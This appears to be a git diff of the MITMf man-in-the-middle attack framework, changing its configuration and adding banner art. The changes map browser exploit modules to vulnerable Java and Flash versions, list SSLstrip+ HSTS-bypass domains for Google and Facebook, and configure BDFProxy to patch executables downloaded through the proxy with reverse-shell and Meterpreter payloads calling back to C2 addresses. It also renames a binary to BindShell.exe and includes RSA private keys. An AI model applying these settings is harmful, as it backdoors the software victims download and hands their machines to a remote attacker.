1.6.0.10, 1.6.0.11, 1.6.0.12, 1.6.0.13, 1.6.0.14, 1.6.0.15, 1.6.0.16, 1.6.0.17, 1.6.0.18, 1.6.0.19, 1.6.0.2, 1.6.0.20, 1.6.0.21, 1.6.0.22, 1.6.0.23, 1.6.0.24, 1.6.0.25, 1.6.0.26, 1.6.0.27, 1.6.0.3, 1.6.0.4, 1.6.0.5, 1.6.0.6, 1.6.0.7, 1.7.0 -[SSLstrip+] - - # - #Here you can configure your domains to bypass HSTS on, the format is real.domain.com = fake.domain.com - # + [[[multi/browser/java_atomicreferencearray]]] - #for google and gmail - accounts.google.com = account.google.com - mail.google.com = gmail.google.com - accounts.google.se = cuentas.google.se + Type = PluginVuln + OS = Any + Browser = Any + Plugin = Java + PluginVersions = 1.5.0, 1.5.0.1, 1.5.0.10, 1.5.0.11, 1.5.0.12, 1.5.0.13, 1.5.0.14, 1.5.0.15, 1.5.0.16, 1.5.0.17, 1.5.0.18, 1.5.0.19, 1.5.0.2, 1.5.0.20, 1.5.0.21, 1.5.0.22, 1.5.0.23, 1.5.0.24, 1.5.0.25, 1.5.0.26, 1.5.0.27, 1.5.0.28, 1.5.0.29, 1.5.0.3, 1.5.0.31, 1.5.0.33, 1.5.0.4, 1.5.0.5, 1.5.0.6, 1.5.0.7, 1.5.0.8, 1.5.0.9, 1.6.0, 1.6.0.1, 1.6.0.10, 1.6.0.11, 1.6.0.12, 1.6.0.13, 1.6.0.14, 1.6.0.15, 1.6.0.16, 1.6.0.17, 1.6.0.18, 1.6.0.19, 1.6.0.2, 1.6.0.20, 1.6.0.21, 1.6.0.22, 1.6.0.24, 1.6.0.25, 1.6.0.26, 1.6.0.27, 1.6.0.29, 1.6.0.3, 1.6.0.30, 1.6.0.4, 1.6.0.5, 1.6.0.6, 1.6.0.7, 1.7.0, 1.7.0.1, 1.7.0.2 - #for facebook - www.facebook.com = social.facebook.com + [[[multi/browser/java_jre17_jmxbean_2]]] + + Type = PluginVuln + OS = Any + Browser = Any + Plugin = Java + PluginVersions = 1.7.0, 1.7.0.1, 1.7.0.10, 1.7.0.11, 1.7.0.2, 1.7.0.3, 1.7.0.4, 1.7.0.5, 1.7.0.6, 1.7.0.7, 1.7.0.9 + + [[[multi/browser/java_jre17_reflection_types]]] + + Type = PluginVuln + OS = Any + Browser = Any + Plugin = Java + PluginVersions = 1.7.0, 1.7.0.1, 1.7.0.10, 1.7.0.11, 1.7.0.13, 1.7.0.15, 1.7.0.17, 1.7.0.2, 1.7.0.3, 1.7.0.4, 1.7.0.5, 1.7.0.6, 1.7.0.7, 1.7.0.9 + + [[[multi/browser/java_verifier_field_access]]] + + Type = PluginVuln + OS = Any + Browser = Any + Plugin = Java + PluginVersions = 1.4.2.37, 1.5.0.35, 1.6.0.32, 1.7.0.4 + + [[[multi/browser/java_jre17_provider_skeleton]]] + + Type = PluginVuln + OS = Any + Browser = Any + Plugin = Java + PluginVersions = 1.7.0, 1.7.0.1, 1.7.0.10, 1.7.0.11, 1.7.0.13, 1.7.0.15, 1.7.0.17, 1.7.0.2, 1.7.0.21, 1.7.0.3, 1.7.0.4, 1.7.0.5, 1.7.0.6, 1.7.0.7, 1.7.0.9 + + [[[exploit/windows/browser/adobe_flash_pcre]]] + + Type = PluginVuln + OS = Windows + Browser = Any + Plugin = Flash + PluginVersions = 11.2.202.440, 13.0.0.264, 14.0.0.125, 14.0.0.145, 14.0.0.176, 14.0.0.179, 15.0.0.152, 15.0.0.167, 15.0.0.189, 15.0.0.223, 15.0.0.239, 15.0.0.246, 16.0.0.235, 16.0.0.257, 16.0.0.287, 16.0.0.296 + + [[[exploit/windows/browser/adobe_flash_net_connection_confusion]]] + + Type = PluginVuln + OS = Windows + Browser = Any + Plugin = Flash + PluginVersions = 13.0.0.264, 14.0.0.125, 14.0.0.145, 14.0.0.176, 14.0.0.179, 15.0.0.152, 15.0.0.167, 15.0.0.189, 15.0.0.223, 15.0.0.239, 15.0.0.246, 16.0.0.235, 16.0.0.257, 16.0.0.287, 16.0.0.296, 16.0.0.305 + + [[[exploit/windows/browser/adobe_flash_copy_pixels_to_byte_array]]] + + Type = PluginVuln + OS = Windows + Browser = Any + Plugin = Flash + PluginVersions = 11.2.202.223, 11.2.202.228, 11.2.202.233, 11.2.202.235, 11.2.202.236, 11.2.202.238, 11.2.202.243, 11.2.202.251, 11.2.202.258, 11.2.202.261, 11.2.202.262, 11.2.202.270, 11.2.202.273,11.2.202.275, 11.2.202.280, 11.2.202.285, 11.2.202.291, 11.2.202.297, 11.2.202.310, 11.2.202.332, 11.2.202.335, 11.2.202.336, 11.2.202.341, 11.2.202.346, 11.2.202.350, 11.2.202.356, 11.2.202.359, 11.2.202.378, 11.2.202.394, 11.2.202.400, 13.0.0.111, 13.0.0.182, 13.0.0.201, 13.0.0.206, 13.0.0.214, 13.0.0.223, 13.0.0.231, 13.0.0.241, 13.0.0.83, 14.0.0.110, 14.0.0.125, 14.0.0.137, 14.0.0.145, 14.0.0.176, 14.0.0.178, 14.0.0.179, 15.0.0.144 + + [[[exploit/multi/browser/adobe_flash_opaque_background_uaf]]] + + Type = PluginVuln + OS = Any + Browser = Any + Plugin = Flash + PluginVersions = 11.1, 11.1.102.59, 11.1.102.62, 11.1.102.63, 11.1.111.44, 11.1.111.50, 11.1.111.54, 11.1.111.64, 11.1.111.73, 11.1.111.8, 11.1.115.34, 11.1.115.48, 11.1.115.54, 11.1.115.58, 11.1.115.59, 11.1.115.63, 11.1.115.69, 11.1.115.7, 11.1.115.81, 11.2.202.223, 11.2.202.228, 11.2.202.233, 11.2.202.235, 11.2.202.236, 11.2.202.238, 11.2.202.243, 11.2.202.251, 11.2.202.258, 11.2.202.261, 11.2.202.262, 11.2.202.270, 11.2.202.273, 11.2.202.275, 11.2.202.280, 11.2.202.285, 11.2.202.291, 11.2.202.297, 11.2.202.310, 11.2.202.327, 11.2.202.332, 11.2.202.335, 11.2.202.336, 11.2.202.341, 11.2.202.346, 11.2.202.350, 11.2.202.356, 11.2.202.359, 11.2.202.378, 11.2.202.394, 11.2.202.411, 11.2.202.424, 11.2.202.425, 11.2.202.429, 11.2.202.438, 11.2.202.440, 11.2.202.442, 11.2.202.451, 11.2.202.468, 13.0.0.182, 13.0.0.201, 13.0.0.206, 13.0.0.214, 13.0.0.223, 13.0.0.231, 13.0.0.241, 13.0.0.244, 13.0.0.250, 13.0.0.257, 13.0.0.258, 13.0.0.259, 13.0.0.260, 13.0.0.262, 13.0.0.264, 13.0.0.289, 13.0.0.292, 13.0.0.302, 14.0.0.125, 14.0.0.145, 14.0.0.176, 14.0.0.179, 15.0.0.152, 15.0.0.167, 15.0.0.189, 15.0.0.223, 15.0.0.239, 15.0.0.246, 16.0.0.235, 16.0.0.257, 16.0.0.287, 16.0.0.296, 17.0.0.134, 17.0.0.169, 17.0.0.188, 17.0.0.190, 18.0.0.160, 18.0.0.194, 18.0.0.203, 18.0.0.204 + + [[[exploit/multi/browser/adobe_flash_hacking_team_uaf]]] + + Type = PluginVuln + OS = Any + Browser = Any + Plugin = Flash + PluginVersions = 13.0.0.292, 14.0.0.125, 14.0.0.145, 14.0.0.176, 14.0.0.179, 15.0.0.152, 15.0.0.167, 15.0.0.189, 15.0.0.223, 15.0.0.239, 15.0.0.246, 16.0.0.235, 16.0.0.257, 16.0.0.287, 16.0.0.296, 17.0.0.134, 17.0.0.169, 17.0.0.188, 18.0.0.161, 18.0.0.194 [FilePwn] - # BackdoorFactory Proxy (BDFProxy) v0.2 - 'Something Something' + # + # Author Joshua Pitts the.midnite.runr 'at' gmail com + # + # Copyright (c) 2013-2014, Joshua Pitts + # All rights reserved. # - # Author Joshua Pitts the.midnite.runr 'at' gmail com + # Redistribution and use in source and binary forms, with or without modification, + # are permitted provided that the following conditions are met: # - # Copyright (c) 2013-2014, Joshua Pitts - # All rights reserved. + # 1. Redistributions of source code must retain the above copyright notice, + # this list of conditions and the following disclaimer. # - # Redistribution and use in source and binary forms, with or without modification, - # are permitted provided that the following conditions are met: + # 2. Redistributions in binary form must reproduce the above copyright notice, + # this list of conditions and the following disclaimer in the documentation + # and/or other materials provided with the distribution. # - # 1. Redistributions of source code must retain the above copyright notice, - # this list of conditions and the following disclaimer. + # 3. Neither the name of the copyright holder nor the names of its contributors + # may be used to endorse or promote products derived from this software without + # specific prior written permission. # - # 2. Redistributions in binary form must reproduce the above copyright notice, - # this list of conditions and the following disclaimer in the documentation - # and/or other materials provided with the distribution. + # THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" + # AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE + # IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE + # ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE + # LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR + # CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF + # SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS + # INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN + # CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) + # ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE + # POSSIBILITY OF SUCH DAMAGE. # - # 3. Neither the name of the copyright holder nor the names of its contributors - # may be used to endorse or promote products derived from this software without - # specific prior written permission. - # - # THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" - # AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE - # IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE - # ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE - # LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR - # CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF - # SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS - # INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN - # CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) - # ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE - # POSSIBILITY OF SUCH DAMAGE. - # - # Tested on Kali-Linux. + + [[hosts]] + #whitelist host/IP - patch these only. + #ALL is everything, use the blacklist to leave certain hosts/IPs out + + whitelist = ALL + + #Hosts that are never patched, but still pass through the proxy. You can include host and ip, recommended to do both. + + blacklist = , # a comma is null do not leave blank + + + [[keywords]] + #These checks look at the path of a url for keywords + + whitelist = ALL + + #For blacklist note binaries that you do not want to touch at all + + # Also applied in zip files + + blacklist = .dll + [[ZIP]] # patchCount is the max number of files to patch in a zip file @@ -334,7 +407,7 @@ patchCount = 5 # In Bytes - maxSize = 40000000 + maxSize = 50000000 blacklist = .dll, #don't do dlls in a zip file @@ -346,7 +419,7 @@ patchCount = 5 # In Bytes - maxSize = 40000000 + maxSize = 10000000 blacklist = , # a comma is null do not leave blank @@ -360,10 +433,9 @@ WindowsType = ALL # choices: x86/x64/ALL/None FatPriority = x64 # choices: x86 or x64 - FileSizeMax = 60000000 # ~60 MB (just under) No patching of files this large + FileSizeMax = 10000000 # ~10 MB (just under) No patching of files this large CompressedFiles = True #True/False - [[[[LinuxIntelx86]]]] SHELL = reverse_shell_tcp # This is the BDF syntax HOST = 192.168.1.168 # The C2 @@ -379,28 +451,45 @@ MSFPAYLOAD = linux/x64/shell_reverse_tcp [[[[WindowsIntelx86]]]] - PATCH_TYPE = SINGLE #JUMP/SINGLE/APPEND - # PATCH_METHOD overwrites PATCH_TYPE with jump + PATCH_TYPE = APPEND #JUMP/SINGLE/APPEND + # PATCH_METHOD overwrites PATCH_TYPE, use automatic, replace, or onionduke PATCH_METHOD = automatic - HOST = 192.168.1.16 - PORT = 8443 + HOST = 192.168.20.79 + PORT = 8090 + # SHELL for use with automatic PATCH_METHOD SHELL = iat_reverse_tcp_stager_threaded + # SUPPLIED_SHELLCODE for use with a user_supplied_shellcode payload SUPPLIED_SHELLCODE = None - ZERO_CERT = False - PATCH_DLL = True + ZERO_CERT = True + # PATCH_DLLs as they come across + PATCH_DLL = False + # RUNAS_ADMIN will attempt to patch requestedExecutionLevel as highestAvailable + RUNAS_ADMIN = False + # XP_MODE - to support XP targets + XP_MODE = True + # SUPPLIED_BINARY is for use with PATCH_METHOD 'onionduke' DLL/EXE can be x64 and + # with PATCH_METHOD 'replace' use an EXE not DLL + SUPPLIED_BINARY = veil_go_payload.exe MSFPAYLOAD = windows/meterpreter/reverse_tcp [[[[WindowsIntelx64]]]] PATCH_TYPE = APPEND #JUMP/SINGLE/APPEND - # PATCH_METHOD overwrites PATCH_TYPE with jump + # PATCH_METHOD overwrites PATCH_TYPE, use automatic or onionduke PATCH_METHOD = automatic HOST = 192.168.1.16 PORT = 8088 + # SHELL for use with automatic PATCH_METHOD SHELL = iat_reverse_tcp_stager_threaded + # SUPPLIED_SHELLCODE for use with a user_supplied_shellcode payload SUPPLIED_SHELLCODE = None ZERO_CERT = True - PATCH_DLL = False - MSFPAYLOAD = windows/x64/shell_reverse_tcp + PATCH_DLL = True + # RUNAS_ADMIN will attempt to patch requestedExecutionLevel as highestAvailable + RUNAS_ADMIN = False + # SUPPLIED_BINARY is for use with PATCH_METHOD onionduke DLL/EXE can x86 32bit and + # with PATCH_METHOD 'replace' use an EXE not DLL + SUPPLIED_BINARY = pentest_x64_payload.exe + MSFPAYLOAD = windows/x64/shell/reverse_tcp [[[[MachoIntelx86]]]] SHELL = reverse_shell_tcp @@ -414,4 +503,26 @@ HOST = 192.168.1.16 PORT = 5555 SUPPLIED_SHELLCODE = None - MSFPAYLOAD = linux/x64/shell_reverse_tcp \ No newline at end of file + MSFPAYLOAD = linux/x64/shell_reverse_tcp + + # Call out the difference for targets here as they differ from ALL + # These settings override the ALL settings + + [[[sysinternals.com]]] + LinuxType = None + WindowsType = ALL + CompressedFiles = False + #inherits WindowsIntelx86 from ALL + [[[[WindowsIntelx86]]]] + PATCH_DLL = False + ZERO_CERT = True + + [[[sourceforge.org]]] + WindowsType = x64 + CompressedFiles = False + + [[[[WindowsIntelx64]]]] + PATCH_DLL = False + + [[[[WindowsIntelx86]]]] + PATCH_DLL = False diff --git a/config/responder/Denied.html b/config/responder/AccessDenied.html similarity index 100% rename from config/responder/Denied.html rename to config/responder/AccessDenied.html diff --git a/config/responder/FixInternet.exe b/config/responder/BindShell.exe old mode 100755 new mode 100644 similarity index 100% rename from config/responder/FixInternet.exe rename to config/responder/BindShell.exe diff --git a/config/responder/certs/gen-self-signed-cert.sh b/config/responder/certs/gen-self-signed-cert.sh deleted file mode 100755 index e9f3c73..0000000 --- a/config/responder/certs/gen-self-signed-cert.sh +++ /dev/null @@ -1,2 +0,0 @@ -#!/bin/bash -openssl genrsa -des3 -out responder.tmp.key 2048&&openssl rsa -in responder.tmp.key -out responder.key&&openssl req -new -key responder.key -out responder.csr&&openssl x509 -req -days 365 -in responder.csr -signkey responder.key -out responder.crt&&rm responder.tmp.key responder.csr diff --git a/config/responder/certs/responder.crt b/config/responder/certs/responder.crt deleted file mode 100644 index ac239e8..0000000 --- a/config/responder/certs/responder.crt +++ /dev/null @@ -1,19 +0,0 @@ ------BEGIN CERTIFICATE----- -MIIDBjCCAe4CCQDDe8Sb2PGjITANBgkqhkiG9w0BAQUFADBFMQswCQYDVQQGEwJB -VTETMBEGA1UECAwKU29tZS1TdGF0ZTEhMB8GA1UECgwYSW50ZXJuZXQgV2lkZ2l0 -cyBQdHkgTHRkMB4XDTEzMDIyODIwMTcxN1oXDTE0MDIyODIwMTcxN1owRTELMAkG -A1UEBhMCQVUxEzARBgNVBAgMClNvbWUtU3RhdGUxITAfBgNVBAoMGEludGVybmV0 -IFdpZGdpdHMgUHR5IEx0ZDCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEB -AMQB5yErm0Sg7sRQbLgbi/hG/8uF2xUzvVKnT4LROEWkkimy9umb2JbvAZITDvSs -r2xsPA4VoxFjKpWLOv7mAIMBR95NDWsTLuR36Sho/U2LlTlUBdSfQP7rlKQZ0L43 -YpXswdvCCJ0wP2yOhq0i71cg/Nk9mfQxftpgGUxoa+6ljU9hSdmThu2FVgAbSpNl -D86rk4K9/sGYAY4btMqaMzC7JIKZp07FHL32oM01cKbRoNg2eUuQmoVjca1pkmbO -Y8qnl7ajOjsiAPQnt/2TMJlRsdoU1fSx76Grgkm8D4gX/pBUqELdpvHtnm/9imPl -qNGL5LaW8ARgG16U0mRhutkCAwEAATANBgkqhkiG9w0BAQUFAAOCAQEAS7u4LWc9 -wDPThD0o58Ti2GgIs+mMRx5hPaxWHJNCu+lwFqjvWmsNFfHoSzlIkIUjtlV2G/wE -FxDSPlc/V+r7U2UiE7WSqQiWdmfOYS2m03x4SN0Vzf/n9DeApyPo2GsXGrha20eN -s390Xwj6yKFdprUPJ8ezlEVRrAMv7tu1cOLzqmkocYKnPgXDdQxiiGisp7/hEUCQ -B7HvNCMPbOi+M7O/CXbfgnTD029KkyiR2LEtj4QC5Ytp/pj0UyyoIeCK57CTB3Jt -X3CZ+DiphTpOca4iENH55m6atk+WHYwg3ClYiONQDdIgKVT3BK0ITjyFWZeTneVu -1eVgF/UkX9fqJg== ------END CERTIFICATE----- diff --git a/config/responder/certs/responder.key b/config/responder/certs/responder.key deleted file mode 100644 index 2b7cbc0..0000000 --- a/config/responder/certs/responder.key +++ /dev/null @@ -1,27 +0,0 @@ ------BEGIN RSA PRIVATE KEY----- -MIIEowIBAAKCAQEAxAHnISubRKDuxFBsuBuL+Eb/y4XbFTO9UqdPgtE4RaSSKbL2 -6ZvYlu8BkhMO9KyvbGw8DhWjEWMqlYs6/uYAgwFH3k0NaxMu5HfpKGj9TYuVOVQF -1J9A/uuUpBnQvjdilezB28IInTA/bI6GrSLvVyD82T2Z9DF+2mAZTGhr7qWNT2FJ -2ZOG7YVWABtKk2UPzquTgr3+wZgBjhu0ypozMLskgpmnTsUcvfagzTVwptGg2DZ5 -S5CahWNxrWmSZs5jyqeXtqM6OyIA9Ce3/ZMwmVGx2hTV9LHvoauCSbwPiBf+kFSo -Qt2m8e2eb/2KY+Wo0YvktpbwBGAbXpTSZGG62QIDAQABAoIBABbuLg74XgLKXQSE -cCOdvWM/Ux+JOlchpW1s+2VPeqjTFvJf6Hjt7YnCzkk7h41iQmeJxgDT0S7wjgPO -tQkq+TZaSQEdvIshRGQgDxvWJIQU51E8ni4Ar4bjIpGMH5qROixV9VvzODTDdzgI -+IJ6ystDpbD4fvFNdQyxH2SL9syFRyWyxY3vWB0C/OHWxGFtiTtmeivBSmpxl0RY -RQqPLxX+xUCie7U6ud3e37FO7cKt+YT8lWKhGHKJlTlJbHs1d8crzp6qKJLl+ibB -0fB6D6E5M1fnIJFJULIYAG5bEak90KuKOKCLoKLG+rq0vUvJsb9vNCAA6rh1ra+n -8woY8TECgYEA7CEE/3oWnziB3PZoIIJDgbBalCCbA+/SgDiSvYJELEApCMj8HYc5 -UGOxrfVhPmbHRUI982Fj1oM3QBEX0zpkOk7Xk224RXwBHG8MMPQmTMVp+o06AI6D -Nggyam9v5KLNMj5KghKJSOD0tR5YxsZPXw4gAI+wpqu3bXGKZ8bRpvUCgYEA1ICJ -H+kw6H8edJHGdNH+X6RR0DIbS11XQvbKQ3vh6LdHTofoHqQa3t0zGYCgksKJbtHV -2h3pv+nuOu5FEP2rrGJIforv2zwfJ5vp65jePrSXU+Up4pMHbP1Rm91ApcKNA15U -q3SaclqTjmiqvaeSKc4TDjdb/rUaIhyIgbg97dUCgYAcdq5/jVwEvW8KD7nlkU5J -59RDXtrQ0qvxQOCPb5CANQu9P10EwjQqeJoGejnKp+EFfEKzf93lEdQrKORSVguW -68IYx3UbCyOnJcu2avfi8TkhNrzzLDqs3LgXFG/Mg8NwdwnMPCfIXTWiT5IsA+O1 -daJt7uRAcxqdWr5wXAsRsQKBgFXU4Q4hm16dUcjVxKoU08D/1wfX5UxolEF4+zOM -yy+7L7MZk/kkYbIY+HXZjYIZz3cSjGVAZdTdgRsOeJknTPsg65UpOz57Jz5RbId7 -xHDhcqoxSty4dGxiWV8yW9VYIqr0pBBo1aVQzn7b6fMWxyPZl7rLQ3462iZjDgQP -TfxNAoGBAK/Gef6MgchbFPikOVEX9qB/wt4sS3V7mT6QkqMZZgSkegDLBFVRJX3w -Emx/V2A14p0uHPzn5irURyJ6daZCN4amPAWYQnkiXG8saiBwtfs23A1q7kxnPR+b -KJfb+nDlhU1iYa/7nf4PaR/i9l6gcwOeh1ThK1nq4VvwTaTZKSRh ------END RSA PRIVATE KEY----- diff --git a/config/responder/gen-self-signed-cert.sh b/config/responder/gen-self-signed-cert.sh new file mode 100755 index 0000000..c9b948a --- /dev/null +++ b/config/responder/gen-self-signed-cert.sh @@ -0,0 +1,3 @@ +#!/bin/bash +openssl genrsa -out responder.key 2048 +openssl req -new -x509 -days 3650 -key responder.key -out responder.crt -subj "/" diff --git a/config/responder/responder.crt b/config/responder/responder.crt new file mode 100644 index 0000000..86d9172 --- /dev/null +++ b/config/responder/responder.crt @@ -0,0 +1,18 @@ +-----BEGIN CERTIFICATE----- +MIIC0zCCAbugAwIBAgIJAOQijexo77F4MA0GCSqGSIb3DQEBBQUAMAAwHhcNMTUw +NjI5MDU1MTUyWhcNMjUwNjI2MDU1MTUyWjAAMIIBIjANBgkqhkiG9w0BAQEFAAOC +AQ8AMIIBCgKCAQEAunMwNRcEEAUJQSZDeDh/hGmpPEzMr1v9fVYie4uFD33thh1k +sPET7uFRXpPmaTMjJFZjWL/L/kgozihgF+RdyR7lBe26z1Na2XEvrtHbQ9a/BAYP +2nX6V7Bt8izIz/Ox3qKe/mu1R5JFN0/i+y4/dcVCpPu7Uu1gXdLfRIvRRv7QtnsC +6Q/c6xINEbUx58TRkq1lz+Tbk2lGlmon2HqNvQ0y/6amOeY0/sSau5RPw9xtwCPg +WcaRdjwf+RcORC7/KVXVzMNcqJWwT1D1THs5UExxTEj4TcrUbcW75+vI3mIjzMJF +N3NhktbqPG8BXC7+qs+UVMvriDEqGrGwttPXXwIDAQABo1AwTjAdBgNVHQ4EFgQU +YY2ttc/bjfXwGqPvNUSm6Swg4VYwHwYDVR0jBBgwFoAUYY2ttc/bjfXwGqPvNUSm +6Swg4VYwDAYDVR0TBAUwAwEB/zANBgkqhkiG9w0BAQUFAAOCAQEAXFN+oxRwyqU0 +YWTlixZl0NP6bWJ2W+dzmlqBxugEKYJCPxM0GD+WQDEd0Au4pnhyzt77L0sBgTF8 +koFbkdFsTyX2AHGik5orYyvQqS4jVkCMudBXNLt5iHQsSXIeaOQRtv7LYZJzh335 +4431+r5MIlcxrRA2fhpOAT2ZyKW1TFkmeAMoH7/BTzGlre9AgCcnKBvvGdzJhCyw +YlRGHrfR6HSkcoEeIV1u/fGU4RX7NO4ugD2wkOhUoGL1BS926WV02c5CugfeKUlW +HM65lZEkTb+MQnLdpnpW8GRXhXbIrLMLd2pWW60wFhf6Ub/kGJ5bCUTnXYPRcA3v +u0/CRCN/lg== +-----END CERTIFICATE----- diff --git a/config/responder/responder.key b/config/responder/responder.key new file mode 100644 index 0000000..f112a74 --- /dev/null +++ b/config/responder/responder.key @@ -0,0 +1,27 @@ +-----BEGIN RSA PRIVATE KEY----- +MIIEowIBAAKCAQEAunMwNRcEEAUJQSZDeDh/hGmpPEzMr1v9fVYie4uFD33thh1k +sPET7uFRXpPmaTMjJFZjWL/L/kgozihgF+RdyR7lBe26z1Na2XEvrtHbQ9a/BAYP +2nX6V7Bt8izIz/Ox3qKe/mu1R5JFN0/i+y4/dcVCpPu7Uu1gXdLfRIvRRv7QtnsC +6Q/c6xINEbUx58TRkq1lz+Tbk2lGlmon2HqNvQ0y/6amOeY0/sSau5RPw9xtwCPg +WcaRdjwf+RcORC7/KVXVzMNcqJWwT1D1THs5UExxTEj4TcrUbcW75+vI3mIjzMJF +N3NhktbqPG8BXC7+qs+UVMvriDEqGrGwttPXXwIDAQABAoIBABuAkDTUj0nZpFLS +1RLvqoeamlcFsQ+QzyRkxzNYEimF1rp4rXiYJuuOmtULleogm+dpQsA9klaQyEwY +kowTqG3ZO8kTFwIr9nOqiXENDX3FOGnchwwfaOz0XlNhncFm3e7MKA25T4UeI02U +YBPS75NspHb3ltsVnqhYSYyv3w/Ml/mDz+D76dRgT6seLEOTkKwZj7icBR6GNO1R +FLbffJNE6ZcXI0O892CTVUB4d3egcpSDuaAq3f/UoRB3xH7MlnEPfxE3y34wcp8i +erqm/8uVeBOnQMG9FVGXBJXbjSjnWS27sj/vGm+0rc8c925Ed1QdIM4Cvk6rMOHQ +IGkDnvECgYEA4e3B6wFtONysLhkG6Wf9lDHog35vE/Ymc695gwksK07brxPF1NRS +nNr3G918q+CE/0tBHqyl1i8SQ/f3Ejo7eLsfpAGwR9kbD9hw2ViYvEio9dAIMVTL +LzJoSDLwcPCtEOpasl0xzyXrTBzWuNYTlfvGkyd2mutynORRIZPhgHkCgYEA00Q9 +cHBkoBOIHF8XHV3pm0qfwuE13BjKSwKIrNyKssGf8sY6bFGhLSpTLjWEMN/7B+S1 +5IC0apiGjHNK6Z51kjKhEmSzCg8rXyULOalsyo2hNsMA+Lt1g72zJIDIT/+YeKAf +s85G6VgMtNLozNjx7C1eMugECJ+rrpRVpIe1kJcCgYAr+I0cQtvSDEjKc/5/YMje +ldQN+4Z82RRkwYshsKBTEXb6HRwMrwIhGxCq8LF59imMUkYrRSjFhcXFSrZgasr2 +VVz0G4wGf7+flt1nv7GCO5X+uW1OxJUC64mWO6vGH2FfgG0Ed9Tg3x1rY9V6hdes +AiOEslKIFjjpRhpwMYra6QKBgQDLFO/SY9f2oI/YZff8PMhQhL1qQb7aYeIjlL35 +HM8e4k10u+RxN06t8d+frcXyjXvrrIjErIvBY/kCjdlXFQGDlbOL0MziQI66mQtf +VGPFmbt8vpryfpCKIRJRZpInhFT2r0WKPCGiMQeV0qACOhDjrQC+ApXODF6mJOTm +kaWQ5QKBgHE0pD2GAZwqlvKCM5YmBvDpebaBNwpvoY22e2jzyuQF6cmw85eAtp35 +f92PeuiYyaXuLgL2BR4HSYSjwggxh31JJnRccIxSamATrGOiWnIttDsCB5/WibOp +MKuFj26d01imFixufclvZfJxbAvVy4H9hmyjgtycNY+Gp5/CLgDC +-----END RSA PRIVATE KEY----- diff --git a/core/banners.py b/core/banners.py new file mode 100644 index 0000000..a463ffa --- /dev/null +++ b/core/banners.py @@ -0,0 +1,82 @@ +# -*- coding: utf-8 -*- + +# Copyright (c) 2014-2016 Marcello Salvati +# +# This program is free software; you can redistribute it and/or +# modify it under the terms of the GNU General Public License as +# published by the Free Software Foundation; either version 3 of the +# License, or (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, but +# WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +# General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program; if not, write to the Free Software +# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 +# USA +# +import random + +banner1 = """ + __ __ ___ .--. __ __ ___ +| |/ `.' `. |__| | |/ `.' `. _.._ +| .-. .-. '.--. .| | .-. .-. ' .' .._| +| | | | | || | .' |_ | | | | | | | ' +| | | | | || | .' || | | | | | __| |__ +| | | | | || |'--. .-'| | | | | ||__ __| +| | | | | || | | | | | | | | | | | +|__| |__| |__||__| | | |__| |__| |__| | | + | '.' | | + | / | | + `'-' |_| +""" + +banner2= """ + ███▄ ▄███▓ ██▓▄▄▄█████▓ ███▄ ▄███▓ █████▒ +▓██▒▀█▀ ██▒▓██▒▓ ██▒ ▓▒▓██▒▀█▀ ██▒▓██ ▒ +▓██ ▓██░▒██▒▒ ▓██░ ▒░▓██ ▓██░▒████ ░ +▒██ ▒██ ░██░░ ▓██▓ ░ ▒██ ▒██ ░▓█▒ ░ +▒██▒ ░██▒░██░ ▒██▒ ░ ▒██▒ ░██▒░▒█░ +░ ▒░ ░ ░░▓ ▒ ░░ ░ ▒░ ░ ░ ▒ ░ +░ ░ ░ ▒ ░ ░ ░ ░ ░ ░ +░ ░ ▒ ░ ░ ░ ░ ░ ░ + ░ ░ ░ +""" + +banner3 = """ + ▄▄▄▄███▄▄▄▄ ▄█ ███ ▄▄▄▄███▄▄▄▄ ▄████████ + ▄██▀▀▀███▀▀▀██▄ ███ ▀█████████▄ ▄██▀▀▀███▀▀▀██▄ ███ ███ + ███ ███ ███ ███▌ ▀███▀▀██ ███ ███ ███ ███ █▀ + ███ ███ ███ ███▌ ███ ▀ ███ ███ ███ ▄███▄▄▄ + ███ ███ ███ ███▌ ███ ███ ███ ███ ▀▀███▀▀▀ + ███ ███ ███ ███ ███ ███ ███ ███ ███ + ███ ███ ███ ███ ███ ███ ███ ███ ███ + ▀█ ███ █▀ █▀ ▄████▀ ▀█ ███ █▀ ███ +""" + +banner4 = """ +███╗ ███╗██╗████████╗███╗ ███╗███████╗ +████╗ ████║██║╚══██╔══╝████╗ ████║██╔════╝ +██╔████╔██║██║ ██║ ██╔████╔██║█████╗ +██║╚██╔╝██║██║ ██║ 